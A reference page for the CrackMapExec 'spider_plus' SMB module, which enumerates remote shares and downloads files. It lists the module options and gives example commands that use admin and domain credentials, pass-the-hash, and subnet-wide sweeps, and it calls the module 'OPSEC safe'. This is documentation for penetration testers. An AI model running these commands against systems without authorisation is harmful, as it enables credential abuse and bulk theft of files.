CrackMapExec Spider_plus (smb)


This page contains detailed information about how to use the spider_plus CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description


This module lists files on the remote target server and saves them locally if their size is smaller then the specified SIZE. Using this module allows to exclude certain file extensions or directories based on a pattern, as well as specify the target local folder where the files will be downloaded to.

The spider_plus module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols


  • smb

Module Source Code


Authors


Module Options


Here is a complete list of spider_plus module options:

# cme smb -M spider_plus --options
[*] spider_plus module options:

            READ_ONLY           Only list files and put the name into a JSON (default: True)
            EXCLUDE_EXTS        Extension file to exclude (Default: ico,lnk)
            EXCLUDE_DIR         Directory to exclude (Default: print$)
            MAX_FILE_SIZE       Max file size allowed to dump (Default: 51200)
            OUTPUT_FOLDER       Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus)

Note that none of these options is required. If you want to change any of the default values, you can do so by adding, e.g. -o READ_ONLY=VALUE parameter to the command line.

Module Usage


This is how to use the spider_plus module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M spider_plus

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M spider_plus
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M spider_plus

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M spider_plus

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M spider_plus
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M spider_plus
The spider_plus module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M spider_plus
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M spider_plus
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M spider_plus

References


Version


This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.